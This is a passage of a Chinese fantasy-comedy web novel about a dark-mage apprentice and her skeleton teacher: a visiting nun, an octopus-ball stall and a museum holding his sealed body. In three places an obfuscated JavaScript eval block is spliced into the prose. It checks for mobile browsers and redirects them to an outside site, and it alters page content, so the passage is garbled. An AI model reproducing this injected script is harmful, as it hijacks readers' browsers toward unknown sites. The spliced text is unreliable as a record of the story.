“砰砰砰!” 三双风格迥异的眼睛一同转向门口。 圆溜溜的头骨立刻埋进了骨头堆中:“是白塔的人?” 而顶着水盆疯狂往树桩后躲的南瓜小狗:“是教会的吧!” 一狗一骨异口同声:“谁去看一下啊!” 异口同声的两只非生物朝彼此投来嫌弃的目光,最后看向在场唯一的人类。 芭布拉甩了甩手上的水,走到门边,透过猫眼看去,一位戴白色头巾,穿深黑教服的修女握着门把,面色焦急地敲门。 “修女?教会的人,这么快就找上门了?” “现在开启传送阵还来得及!” “……来不及了,会被强行打断施法的。” 两位逃跑经验十分丰富的黑法师和黑暗生物你一言我一语地商量撤退大计的时候,芭布拉直接拉开了门。 温柔的月光沿着树间缝隙投射而下,洁白的头巾下,一双清澈的蓝眼睛急切地向芭布拉看来。 “午安,麦亚安修女。” “芭布拉,亲爱的。很抱歉,在这个时间点冒昧来访,不过我很担心你。” 她很自然地抚上芭布拉的脸庞,粗糙而温热的手指撩开脸侧的发尾,捏了捏她脸颊上的软肉。 “看起来没什么事呢,那我就放心了。” “发森什莫斯了——” “就是刚才的天空异象啦,珈乐神官说很有可能是某种高等级的黑魔法导致的,让我来你这里看看。” 屋里偷听的小狗震惊:被发现了吗?! “为森莫——” “当然是因为小芭布拉要是遇见那些阴森森的黑法师怎么办呢!再说我也有义务和责任照顾好可爱的芭布拉呀?” “可斯,窝也素……” 一起偷听的布莱多恩无声呐喊:你怎么还不打自招啊!! “是哦,你要尽快成为让我大吃一惊的黑法师,这样我就可以放心地让你一个人住在这里啦。” 一狗一骨头纷纷面露迷惑:? 怎么?这不是教会的修女吗? 教会的修女已经可以一脸怪阿姨笑地揉捏一位黑法师的脸了吗?! “啊,说到这个。例行的登记还是需要的!方便接待我吗?” 芭布拉挣扎地点了点头,麦亚安才恋恋不舍地松开了她的脸颊。 她握住门把,拧了三圈才打开,请修女进屋。 庞丁大吃一惊,四处乱转试图隐藏自己,然而他很清楚自己身上带着的深渊气息以及那骷髅的亡灵气息根本不可能逃得过修女的查探。 南瓜小狗放弃挣扎,一头扎进一丛蘑菇群中,尾巴低垂。 然而走进屋内的麦亚安修女对它视若无睹,她环视一周,对着芭布拉颇为热情地称赞道:“好可爱的蘑菇桌!上次来好像还没有呢,是你自己做的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810470|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低垂的火焰尾巴忽然竖了起来。 “是我自己画的图纸,找巴克先生打造的。” “哎呀,没有想到芭布拉还有这样的天赋!” …… 一对洁白的指骨小心翼翼地扒住铁锅,光亮如新的头骨悄悄探了出来。 “黑暗之神啊,居然是空间折叠。” “全知深渊啊,居然还是三重折叠!” 布莱多恩倒吸一口冷气:“这不可能!” 可事实就摆在他眼前! 来自教会的修女与它们看似身处同一空间,实际上两方并不在同一个维度,而空间维度是单向的,也就是说只有处在高纬度的它们才能看见低纬度的修女,修女是无法透过这面单向镜看见它们的。 难怪芭布拉就这么走了出去。 布莱多恩此时心情复杂,有点介于“我家每次只能考两分的孩子突然回来告诉自己她保送到了全国最高学府”的猝不及防以及“难道我的教学方法真的有问题吗”的自我怀疑。 那边对话已经进行到了道别,修女检查完她的登记手册,依依不舍地握着她的手,直到走出门口才不得不带着芭布拉送她的家具图纸含泪离去。 送走修女,蘑菇屋内的气氛终于缓和了下去。 “芭布拉!你居然已经掌握了三重折叠!” “是啊,我的小博物馆厉害吧!” “……可是为什么你过了二十几年才能召唤我?” “呃……” 芭布拉心虚地移开了视线。 庞丁好奇地跳上芭布拉的肩膀,指了指她手中的纯白手册。 “这是什么东西?” “咦?我没告诉过你吗?这就是教会颁发的辖区法师备案登记表啊。” 她打开手册,第一行就白纸黑字地记载着:“姓名:芭布拉,职业:黑法师……” “教会甚至已经和白塔对立到这种程度了吗?!”庞丁大震撼。 “不是啦,是因为当初……他们以为老师战败是因为我,还给我发了奖章呢!” 布莱多恩:? 四舍五入一下,芭布拉不就是半个勇者,把他这个恶龙干翻了。 他狠狠地在心里给芭布拉记上一笔,但直到他能摆脱这具孱弱的骨架前,他必须得依靠他的小学徒。 布莱多恩姑且忍气吞声。 “说起来,亲爱的主人,最要紧的还是,”庞丁的尾巴拉长,指向墙上蘑菇形状的挂钟,“你让我提醒你的,要迟到了!” “……啊!” 她从墙上指向六的挂钟上移开视线,急急忙忙地往更深处走。 作为这处空间的掌控者,芭布拉当然可以自由穿梭于高低不同维度间,她迈向的前方,就连墙壁都会退让。 她一直走向蘑菇屋的最深处,用于存放各种大型器具的仓库中。 ……然后推出了一辆崭新的手推车。 四轮,粉嫩涂装,还装了一个带招牌的顶棚。八爪鱼形状的招牌上写著“来自东方的神秘美食”,底下还有一行小字,“我们保证没有一条鱼会感到痛苦”,扭扭歪歪的笔迹一看就是芭布拉自己写的。 被这种软绵绵字型荼毒了将近二十年的黑法师脑海中忍不住又浮现起批改作业时的痛苦回忆。 再然后,芭布拉从推车自带水缸里捞出了一条足足有成人手臂那般长短的八爪鱼。 晶莹的水珠洒落,八条肥美的触手被芭布拉狠狠地摔在案板上,又反弹起来。 “这是……” 咔嚓。 一记漂亮的灵魂解离,将八爪鱼一分为八。 案板上躺著的已不再是八爪鱼,而是一堆肥美Q弹的八爪鱼须。 “这就是我夺回老师身体大作战的核心!” 布莱多恩和庞丁的心声在此时又微妙地统一了。 ……一堆八爪鱼吗!? 5. 1-5 甚至还成了展览品 在成为最伟大的黑法师之前,布莱多恩也有过一段很长的奋斗史。从老鼠街人人喊打的贫民一路跻身黑法师的法师学徒,再踩著那个目中无人的黑法师崭露头角,布莱多恩的经历在丰富多彩的程度完全不输那几位白塔法师,甚至在违法犯罪的角度上更胜一筹。 黑法师自认为自己最强大的地方就是自己的坚韧不拔,能屈能伸。 哪怕现在成为了一具连最基本的术法都无法使用的骷髅,他也能迅速调整好心态;哪怕白法师很快就会闻著味找过来,他也能冷静地抓著他的学徒让她赶紧收拾东西跑路。 但他在看到自己的弟子竟然用灵魂解离来刮鱼鳞、切生鱼片的时候,还是狠狠地抖落了一身骨头渣子。 时间倒回布莱多恩坐上了芭布拉的手推车开始传送的那一刻。 传送阵的光芒敛去,两人被传送到了一处枝繁叶茂的森林中。 但这里比芭布拉所在的黑松林要热闹得多,茂密的叶海遮挡不住满天的彩灯,连天上的云朵也染上了绚丽的光彩。 远处还传来了人群的笑闹声。 好奇的黑法师不由得多打量了两眼周围,顿时感到这里处处都透露著熟悉。 “我怎么觉得这里有点眼熟?” 身上缠著彩灯和缎带,被包装得像是一份圣诞礼物的骷髅终于忍不住问了出来。 “啊……因为,这就是当年您被卑鄙的白塔法师围攻的地方啊!” “?” “现在这里是一处很有名的旅游景点啦,他们还专门建了一个博物馆来安置您的装备和尸骸,还介绍了您的丰功伟绩……” “???” 白法师,算你们狠。 但他也很好奇另外一件事—— “那你准备在这里做什么?” 芭布拉露出一个自得的微笑,四处张望,确认周围没人才凑到骷髅耳边轻轻说:“我在找机会夺回老师的身体。” “我的、身体……?” 布莱多恩艰难地咀嚼著这两个组合在一起莫名显得很奇怪的词语。 “啊……老师,你不知道啊。在圣战纪念馆里,还存放著你的遗体哦。” 黑法师没想到他离开之后,仅仅过去了二十年,这个世界就变成了这幅模样。 那群迂腐顽固的白法师,对他的仇恨终于超过了对法则的敬畏吗? 他,有史以来最伟大的黑法师,死后居然被放进了白法师建的博物馆里。 他们不是不允许亵渎尸体吗? 还是说黑法师的尸体,就不算尸体了? 这群双标的白法师! 磨了半天牙的黑法师暗骂一声,但也不是不能接受。 “……跟我说说你的想法。” “耶?什么想法?” “比如说拿到了尸体之后要怎么复活?你别告诉我你甚至没有看过书……” “看过啦!灵魂,尸体,还有一个简单的召唤阵!” “那是什么?简单的召唤术?你要复活的是食尸鬼吗?” “什么?!那、那有可能不是召唤阵,是聚合阵……” 芭布拉慌忙掏出书,“哗啦哗啦”地翻阅起来。 就算是百无禁忌的黑法师,也并不想把自己的未来交给一个很不靠谱的黑法师,尤其是她还没出师……等等,这么说起来,她根本没从他这里拿回契约,她还是个学徒啊?! 布莱多恩清楚地记得,最高阶的亡者复生是一个只存在于传说中的黑魔法,从没有人成功过,就连他自己都没有考虑过这个术法。 召回亡灵可以向冥府中的死神祈求,□□能够用各种术法保留完整,但死亡让原本一体的灵肉分离,两者不再契合,哪怕用秘法强行固定,得到的也只是一具没有意识的□□。 无数黑法师(或许还有不愿透露姓名的灰法师)为这个问题前赴后继,布莱多恩曾经倒是挺想研究的,但是他还没来得及,就已经变成了一具骷髅。 “大姐姐!” “芭布拉大姐姐!” 回过神来的布莱多恩愕然发现,自己此时被一群目测年龄不超过八岁的小萝卜头团团围住了。 “今天你来得好晚哦,明明是庆典来着的!” “安娜想看好看的烟花了啦!……咦?怎么多了一堆骨头?” 咬著手指头的瘦弱小女孩说完就要伸出好奇的魔爪。 布莱多恩大惊,这几个眨著水汪汪大眼睛的小孩子对于它脆弱的身子骨来说可不亚于一群洪水猛兽。 更恐怖的是如果它黑暗生物的身份在这里暴露的话,他的一生——啊好像早就结束了——那芭布拉的一生不就在这里终结了吗! 它僵住了。 就连眼睛里的魂火也凝固住了一般不再跳跃。 芭布拉适时地用魔杖抵住了她的手指头。 “小安娜,不可以乱摸哦。” 小姑娘嘟起嘴,又把手指头放进了自己嘴里。 “好啦好啦,乖孩子可是有奖励的!” 魔杖挥动,蓝色的光芒从芭布拉杖尖溢位,星星点点的光汇聚成涌动的海洋。她手腕一抖,一道蓝色的光影跃然而出,化成一只巨鲸破浪乘风,喷出磅礴的水汽,于是彩虹挂上半空,一时间煞是好看。 布莱多恩没看出来他的徒弟在做什么。 黑魔法追求的是杀伤力和效率,而幻术系的魔法追求的则是身临其境的真实感,但芭布拉现在使用的这种魔法……蹩脚到就算是不会魔法的人也能看出来它的破绽,施法速度还尤其缓慢,魔法效果更是弱得离谱,连闪瞎敌人的眼睛都做不到。 但是…… “哇——!” “大姐姐好厉害!” 但他听到了小孩子们齐齐赞叹了起来,还有的尝试著去追逐那头时隐时现的鲸。孩童高昂的语调夸起人毫无保留,芭布拉迷失在“漂亮姐姐”和“厉害魔法”里,手下的魔杖花样繁出,收获了一阵阵欢呼。 这帮人类可爱幼崽为芭布拉的生意贡献了很大一部分收益,直到一个戴著眼镜的女性过来催促,这帮小鬼才恋恋不舍地离去。 “这个小丸子好好吃哦,过会儿出来再买十份吧!” “每年老师都带我们来参观圣战纪念馆,我都快看腻了啦……” “不知道黑魔法少女有没有出新款!” …… 芭布拉带著一脸幸福的姨母笑看著他们走远,忽然对上了来自黑暗的死亡视线。 “老师,他们是隔壁镇上的魔法公学的孩子!每年春游都会来博物馆参观哦!” “……公学?” “对呀,现在已经不是一个导师带很多个学徒的制度啦。白贤者牵头所有法师组织共同组建了魔法公学体系,只要是适龄儿童都可以进公学里修习魔法。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810471|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哼,白法师的无聊想法。” “哎呀,我觉得挺好的。小时候我不是因为魔力暴动就直接被家人丢掉了吗?不过还好老师你发现了我。” 布莱多恩“嗯嗯”应和着,但其实他根本想不起来芭布拉是怎么出现在法师塔里的。 那段日子对他来说,已经太过遥远了。 “老师,您坐在这里就好啦。要是无聊可以帮我招揽一下客人!你看,就像这样——” 也不知道她按了什么开关,布莱多恩身上的彩灯一下子就闪了起来。 赤橙黄绿青蓝紫交替闪烁,衬得本来就洁白无瑕的骨架……更加喜气洋洋了。 如果仅仅只是闪光的话,布莱多恩也不是不能忍受,但是,从它身上的彩灯里,居然还传出了一阵动感的音乐。 “老师,动一动!”芭布拉使出了星星眼凝视。 黑法师扭过头,不愿再看。 但魔法已经生效了,方才那阵动感的节拍陡然转变成了抒情的音乐。如同天籁般的童声点缀著柔和的灯光,似乎是童年的睡前故事会出现的场景。 “谁在我这里喧哗!?……哦,是小芭布拉啊。” 一身轻甲的骑士手里捧著一顶银光闪闪的头盔大步走了过来,迈阿提爵士眯起眼睛,终于在五步之外看清了芭布拉的摊位和她的脸庞。 “……谢谢你上次送我的玻璃片,哦,但是它们实在太容易碎了。” “呃,下次我再带几副回来给您……如果有合适的?” “你可真是个好心人,但是不,真的不需要了,我不能白白接受你的礼物。” 义务执勤的骑士冲着手推车招牌上画的那只大八爪鱼敬了个礼,抱著自己的头盔又到别处巡逻。 芭布拉的宣传手段奏效了,骑士走后,不停有人凑上前来询问价格,甚至排起了不短的队伍。 “是真正的灵魂解离吗?黑魔法的那种?” “当然!童叟无欺?” 白光一闪,又一只无辜而美味的八爪鱼化身食材,引起惊呼一片。 “这个章鱼小丸子里真的有八爪鱼吗?” “当然!您请看——” 忙于用灵魂解离肢解八爪鱼的芭布拉,没能注意到原本生无可恋地倚靠在车上的骷髅忽然动了一下。 他警惕地注意到了一个隐藏在人群当中的黑衣人,这个人身材高大,行走时黑色风衣猎猎作响。 他伪装得很好,若不是布莱多恩一直注意,还真的很难察觉他在悄悄靠近。 直到最后一批顾客离开,芭布拉才得以喘息。 这时她才忽然意识到,布莱多恩从刚刚开始就安静得诡异。 “老师,你生气了吗?我……我可以解释的……” “嘘!我没有!” “你相信我,我真的是在帮你找回原来的身体的,呜呜……” “我没有不相信你,只是——” 骷髅眼里的灵魂之火猛地一跳,余光察觉到那个黑衣人已经逼近了小摊,这么近的距离,他甚至看到了那人嘴角的那丝邪笑。 难道是同行……但他怎么敢当众暴露出自己的身份?! 黑衣人冲到了芭布拉面前,邪狞一笑,突然拉开了自己的大衣,那些隐藏在大衣内侧的琳琅满目的小卡片猛然见光! “朋友,要看小本本伐?” 布莱多恩:……? 6. 1-6 但他仍然等待着东山再起! 1-6 布莱多恩有一瞬间很想把刚刚四处巡逻的那个骑士喊回来。 别去巡逻了!这才是真的违法犯罪现场啊! 但很快他冷静下来了。 前黑法师,现黑暗生物的他才是这里最邪恶的存在。 只是在风衣打开的那一瞬间,整个宇宙的目光似乎都集中在了黑衣人身上,哪怕是最纯纯的正义与最深邃的邪恶与之相比也黯然失色。 芭布拉惊叫一声,捂住眼睛:“不、不要啦!” “哎哟小姑娘,你先听我说,我家的货可是超级罕见的啦!这可是只有在圣战博物馆才能找到的版本!很久以前那个黑法师,你晓得撒?” “……嗯。”芭布拉似乎有些意动,眼睛犹豫地从指缝间露了出来。 “你看看!不管是什么版本大哥都有的喔,比馆里面卖的丰富多了!你喜欢啥样的撒?这个《黑与白的百年抵死缠绵》怎么样?大哥这里的货就数这个卖得最好喔!” 封面上黑法师正一脸邪魅狂狷地挑起白法师的下巴,而那个白法师正是四十年前带领讨伐军来剿灭布莱多恩的奥兰纳斯。 主角之一的布莱多恩只觉得眼前一黑。 奥兰纳斯,那可是已经活了几百年的大贤者啊!你们白法师连大贤者都能下手吗? 芭布拉被这画面震撼到,连连摆手:“不、不要白法师!” “哦哟,不喜欢黑白配啊?” “那这个呢!《黑暗娇娃的魔法界之旅》!这种在特定人群里也卖得很好喔,这可是最后一本!” 黑衣大哥掏出了另外一本压箱底的宝书,封面上的人虽然顶著芭布拉家亲亲老师的脸,但身材劲爆,穿著暴露,冲着镜头摆出一个诱惑的姿势。而他(她?)身后,大贤者、魔王、红龙、精灵王等等一系列大陆上有名的人物,都以脉脉含情的眼神望著他(她?)的身影。 一时间,竟然没有人说话。 黑衣大哥心想,这是遇到硬骨头了啊,内心那该死的胜负欲一时汹涌澎湃,决定要拿出最劲爆的货! “没想到这样都不能打动你的心!既然这样,大哥只能拿出点真本事来了!” 他“嗤拉”一声拉开大衣夹层的拉链,夹层里塞满了无数花花绿绿的小本子,芭布拉被迫将各种带有“触■““■辱”“■■”“■■■”的文字标题和未成年好孩子们绝对无法看清楚的封面深深地烙印在脑海里。 新世界的大门轰然洞开。 芭布拉上一次有这种感觉,还是在老师的指导下稳定魔力暴动,吸收元素,踏入魔法之路的时候。 “哦哟?小姑娘?你怎么流鼻血了??” “没……没事……我缓一缓就好了……” 黑衣大哥露出了了然的笑容:“我懂的小妹妹,当初我刚看到的时候,差一点就要炸了脑阔阔。” 人类性癖的尽头……一定是最古老的深渊…… “那你还要不要撒?” 芭布拉狼狈地擦着鼻血,小手一挥:“除了白魔法师那本,全要了!” 大客户! 黑衣大哥的态度一下转变了,不仅细心地用牛皮纸将这些本子都包好,还附赠了许多形状猎奇的周边,说是送给她的小彩蛋。 芭布拉美滋滋地把牛皮纸塞进小推车里,和金币锁在一起。 她刚转过身,就对上了一对幽绿的火焰,吓得芭布拉一激灵,差点把钱撒了出来。 “老师,我绝对不是自己想看!我是想要透过阅读了解现在读者的喜好,再、再诱导他们堕落,爱上黑魔法……” “你先擦擦鼻血。” “哦……” 骷髅细长的指骨勾了勾,“没收。” “呜呜呜呜老师我错了呜呜呜呜……” “还有钱。” 芭布拉强忍眼泪上交了她的小金库。 布莱多恩掂了一下,小钱包里鼓鼓囊囊的,里面居然还有十几枚金币。 没有想到,芭布拉居然还是个小富婆。 “呜呜,这、这也是夺回老师身体大作战的核心之一啊!” “你的计划不会就是拿钱买吧?拜托!我们是黑袍诶!” 芭布拉:“啊!我也算黑袍了吗?!” “给我讲重点!” “呜哇!老师小心手骨头啊!”芭布拉下意识地捏住了骷髅纤细的手腕,“重点就是!趁着庆典开放内场展览的时候混进去把老师的身体偷回来!” “……这不是博物馆吗?居然不是谁都可以进去看的啊?” “内场要买票的!老师你的展览厅是168索尔,隔壁血巫妖的要88,还有传说中的黑医生居然要288呢!” “什么?我居然不是最高的?” *** 黑法师的视野忽然颠簸了一下,差点把他脆弱的骨头给震断了。 “怎么回事?”他压低声音。 “我们进馆啦,老师。” 芭布拉佯装整理婴儿车,悄悄地跟他解释。 虽然现在已经没有官方的黑法师白法师之分了,但对于身具冥火的骷髅这种一看就是某个丧心病狂的黑魔法作品,还是不能正大光明地出现在大众眼前的。 于是芭布拉把他塞进了婴儿车里。 婴儿车,朋友们,伟大的黑法师人生第一次坐婴儿车。哦,虽然他的人生已经结束了。 幻术让他看起来就像是一个健康的婴儿,正睁大眼睛四处张望。 布莱多恩以为他们会大肆宣扬那场战斗的艰难,毕竟那些白法师就喜欢把所有好事归到自己头上。然而,博物馆的入口,却只有一块写满名字的石碑。 石碑前的标签上写着: “这些名字,是当年那场旷日已久的战争所留下的痕迹。死去的战士由家属代笔,写下了他们的光荣之名。” 石碑往后,两边的展台逐渐出现了斑驳的画像。 一边是被塞进炼成阵的哀嚎怨灵,鲜血染红了墙壁,而墙壁上依次排开的收藏品,则是触目惊心的人体器官;另一边是一页又一页的实验记录,法师们终于可以脱离神光独立使用的治愈术。 不可否认,黑法师的出现推动了魔法与神术的分离,他们的研究补完了神光之下的那一半。 ——也带来了可怖的混乱与恐慌。 婴儿车“吱呀吱呀”地走完黑暗且狭长的走廊,眼前豁然开朗。 博物馆的内部显然超出它外表所显示的大小,内部极为宽敞。但人也是真的很多。 花花绿绿的路牌上写满了“教你如何使用‘黑魔法’!”“厄洛斯魔发店”“真正的黑法师故事就在欧姆大叔书屋”诸如此类的标题,布莱多恩不由得多看了几眼,谁知道那只路牌拔腿追了上来,殷勤地展示自己身上所有的字样。 “变态!快走开!”芭布拉生气地把它赶走。 “这些路牌一年到头都没人看,结果就变成了一有人看就很饥渴的变态性格。” “……”布莱多恩对此并不想发表过多意见,“这里不是博物馆吗?怎么还有很多奇怪的店?” “要恰饭的嘛,维持博物馆运转需要好几个中阶法师呢。”芭布拉侃侃而谈,“我还差一点钱就攒到进入场内摆摊的保证金啦,到时候一定就能更快地攒到更多的钱!” 怎么感觉他的学徒好像又被某种陷阱套牢了呢。 芭布拉轻车熟路地走进一条道路分支,这条路上偶有几个行人,但越往里走便越是冷清。小路尽头,是一个半掩着门的展览厅,门前的牌子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810472|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简单地写了一行字。 【黑法师布莱多恩,他的成就和罪恶皆陈列于此。】 一路走到最后,布莱多恩不由得产生了许些错觉,仿佛这战争的尽头,就是他。 事实也是如此,在他死后,敢穿上黑袍的法师逐渐销声匿迹。 再多仇恨与敌视,在死亡之后就失去了色彩,成为了博物馆里的一件展品。 时光在此凝滞,侧耳倾听,似乎还能听见它们的声音。 布莱多恩想过很多种可能,为什么白法师不把他的尸体带走研究,或者烧毁,用他们的话来说就是,“彻底消灭这些邪恶”。 当他真正看到自己的尸体时,恍然大悟。 繁复的大封印阵密密麻麻地布满了整个空间,四周隐隐泛起晚霞的红光。法阵的中心,白法师花费如此大的手笔也要封印的——除了垂挂在半空中的黑影,还有如坚冰一般包裹着他的蓝色物质。 从整个法阵的构成来看,最开始的构造十分简单,在短时间内匆忙构建而成的,而外部所有的符文几乎都是在对最初的核心进行加固。 他能够从其中察觉到一些老朋友的手笔,应该是在研究如何释放的时候遭遇了些许不测只能意外中止。 虽然他本人失败了,但看到对方吃瘪,他的内心还是一阵暗爽。 婴儿车里的骷髅坐直起来,魂火直勾勾地盯着半空中的瑰丽法阵。 他第一次以旁观者的角度来看自己,黑色的兜帽盖过脸庞,法阵中的人仿佛陷入了永恒的沉眠。 “老师,你看。白法师对这些蓝色物质束手无策,只能把整块地都圈了起来。” “这是什么?” “不知道,没有人知道。折断还会再长出来,脱离母体很快就会彻底消散,就连魔法元素对它不起作用,就好像……根本不是此世之物。” 它为什么会出现在这里?布莱多恩忍不住思考这个问题。 战斗的最后,他甚至连一个最简单的禁咒都无法发动。他藏匿好的命匣,他准备好的后手,在那一刻都无法挽回他的死亡。 他还记得芭布拉伏在他身上哭得一把鼻涕一把泪的样子,也许是死亡将近,他那颗冷酷的心脏居然稍微温暖了一点。 但是,太迟了。 他要死了。 最后布莱多恩释放了他们签订的学徒合约,虽然也不会有人认为她是个黑法师。 “你出师了。”他的声音微弱如叹息。 ……回忆到这里,布莱多恩抬起头瞥了一眼芭布拉。眼前这个状况,跟他旁边的这个紧张兮兮的假笑女孩一定脱不开关系。 学徒合约最大的用处就是约束学徒,其次可以证明自己货真价实是某位大法师的学徒。 但黑法师的契约向来都是最不平等的合约。 学徒的一切,从灵魂到□□,全部都归属于导师。学徒不仅要完成导师给的所有指令,还无法对导师做出包括但不限于施咒、下毒等不利行为。 如果契约尚存,芭布拉根本无法对他施术。 然而他释放了这个合约。按照他对她的了解,哪怕明知道自己做不到,她也是一定要尝试一下的。 于是,在最后一刻,芭布拉很有可能对他释放了一个不明效果的法术,从而引发了一系列连锁反应。 最终这种可以湮灭任何魔法元素的不明物质包裹着他的尸体,白法师们无可奈何,只好将其封印。 再后来,就有了这间博物馆。 布莱多恩几乎要放声大笑。 大贤者所有的算计居然毁在了一个名不见经传的学徒身上,哪怕是毫无敬畏之心的黑法师在那一刻忍不住也同情起被命运玩弄于掌心的人类来。 他没有赢。 但也从没有输。 7. 1-7 黑法师的小博物馆 从芭布拉的视角来看,就是一看到自己的尸体,布莱多恩的骨头架子就难过得颤抖起来,连婴儿车都在发颤。 毕竟不是什么人都能亲眼看见自己的尸体的。 “老师——你不要哭了一切都还是有希望的呜呜呜呜——” “我没哭……!” 展厅里唯一的官方人员是个穿着深灰色袍子的老法师,胸前花白的胡子如同繁复的蛋糕裙一样蓬了起来。 他从手中的书籍中抬起头看了他们一眼。 “咳咳,保持安静!” 芭布拉僵住,推着婴儿车往反方向走,只给对方留下了一个僵硬的背影。 她确定对方又埋头于书籍之后,才压低声音继续在布莱多恩耳朵嘀嘀咕咕。 “这些白塔来的法师都好讨厌哦,明明这些晶体就算用禁咒也无法破坏掉,但是只要稍微走近一点就会被警告!他们还说这是博物馆为来访者准备的等身模型,但我知道这就是老师你原来的的身体啊。” “你先告诉我,你对我使用了什么法术?” 芭布拉猝不及防,露出了偷吃仓鼠被发现的表情。 “也……也不能算是我……我不是故意的……!” 她从前就是个不会说谎的孩子。 现在也还是。 在布莱多恩刻意的沉默下,芭布拉老老实实地全都招了。 “其实!我当初只是想放一个隐身咒,然后我再骗他们说老师你没死,千钧一发之际传送走了。可是我不太会用,没隐身成功,还从周围的空间里流出这些蓝色的液体,我就想用灵魂解离把它分解掉,结果……有个白法师突然闯了进来。” “大贤者。” 芭布拉点点头,抬头凝望着头顶那一片蓝色的晶体:“那个时候它就已经具备这种性质了,谁也没有办法把它分解。大贤者就不让我动手了。” “嗯……也就是说它是自然存在的物质,只是被你误打误撞召唤出来了,”布莱多恩敲了敲婴儿车的护栏,“也许跟之前你打开地狱通道一样。” 芭布拉坚定地点头:“嗯嗯!” 布莱多恩一看到她的表情就知道她根本没弄懂。 “推我过去,我想近点观察。” 芭布拉照做,她顺手戳了戳从高处垂落的一截凝固的蓝色晶体,坚如寒冰。 “老师,看!这样子轻轻碰一下是可以的!但是如果捏碎了就立刻消失了。” 她用力掰下一块,手上的晶体立刻像是沸腾的水般溶解,消失在四周。 布莱多恩学着她按了按那截晶体,惨白的指骨失去了人类的五感,只能从指骨碰撞时的阻力来确认“硬”的感受。 “咦,老师,你的手指?” 芭布拉忽然拉回他的手臂,两人吃惊地看见刚刚接触过晶体的部分居然跟掰断的那部分一样蒸发了。 一节指骨悄无声息地融入黑暗之中。 布莱多恩从芭布拉蓦然睁大的眼睛里看到了自己如今的模样,一具陈旧的、千疮百孔的骸骨。他再次感受到这个残酷的事实:现在他只是一堆坐在婴儿车里的骨头架子。 失去了人类的身体,也失去了赖以为生的强大魔力。 和被折断的蓝色晶体一样,消失了。 他沉声稳住不知所措的芭布拉:“没事,只是断了一截。可能我用力太过。我们先回去,这种程度完全可以修复。” “啊对!先回去才能修好!” 她赶紧推着婴儿车往外冲,博物馆内设置了禁止使用传送类的法术,她必须要离开博物馆。 “喂,你们,发生什么了?”忍无可忍的法师终于离开了他的座位,“女士,也许你需要一些帮助……?” “我不需要!” 她回答得这么斩钉截铁,还转身就跑,老法师下意识地追了上去。 “等等——!” 芭布拉一看居然还有人追,吓得越跑越快,把婴儿车推出了残影。 这时!一只只热情洋溢的手横亘在她与出口之间! “女士!超可爱的布莱多恩手办考虑一下吗?本馆独特造型哦!” “美女!快来看看我的手工艺品!这可是布莱多恩黑魔导唯一学徒亲手制作的仿真模具——” ……老法师就这样被淹没在人群中。 芭布拉以敏捷的步伐巧妙避开所有商贩试图抓住她的手,末了还不忘回头喊一句:“你骗人!黑法师最喜欢捡学徒了!怎么可能只有一个!” 那个摊主立刻振振有词地反驳:“不懂不要乱说!当然是因为其他的学徒全被献祭了啊!反正错过这个村可就没这个店来!!快来选购吧!!!” 布莱多恩:? 我不是,我从来不献祭活人的啊! 但他也没来得及为自己辩解,他们甚至和一个神似布莱多恩的等身人偶擦肩而过,唯一的不同是黑发的人偶穿着古典的女仆裙装。 “我刚刚好像看到了什么东西……” 布莱多恩有些迟疑地看向芭布拉,骷髅眼中的魂火摇摇欲坠。 “不,你什么都没有看到。”芭布拉斩钉截铁地回答。 黑法师想了想那几本不堪入目的本子,觉得自己还是不要太过于追求未知比较好。 “你说得对,我什么都没看到。” 回去的路上芭布拉特地抄了近路,连推车都没带,直接推着婴儿车传送回去。 她没能从地上找到那截断骨,但没关系,芭布拉家里最不缺的就是骨头,会定时收集一批新鲜坚硬的骨头来更换实验材料仓库中缺损的部分。 传送阵的光芒逐渐消逝,两人又回到了蘑菇屋里。 芭布拉打了一个响指,原本暗淡的荧光菇依次亮了起来,指引出一条通往地下实验室的路。 她把婴儿车推出了医院里载着急诊病人的转运床的气势,扁扁的扁平菇升起,隔绝了外界的干扰。 特别是某只因为吵着也要出去而被反锁在地下仓库里的黑暗生物。 布莱多恩被她小心翼翼地放到洁白的无菌菇上,通过骨头下陷又弹起的弧度他仿佛感受到了这朵菇完美的触感。 芭布拉首先尝试了最基础的修护魔法,严格来说,骷髅兵并不能算是生灵,也能在它们身上使用复原术。 可布莱多恩的手指毫无反应。 “没有用……” 她又翻出了自己的珍藏,挑了一截最好看的指骨。 “我想先告诉你,这是一截中指。” “我当然知道老师你掉的是无名指啦!我只是想给你看看这截指骨真白!” 芭布拉挥动魔杖,将重新找好的无名指骨贴近裂口。银白色的光亮起又熄灭,只有那段裂口巍然不动。 “……?” 芭布拉大惑不解。 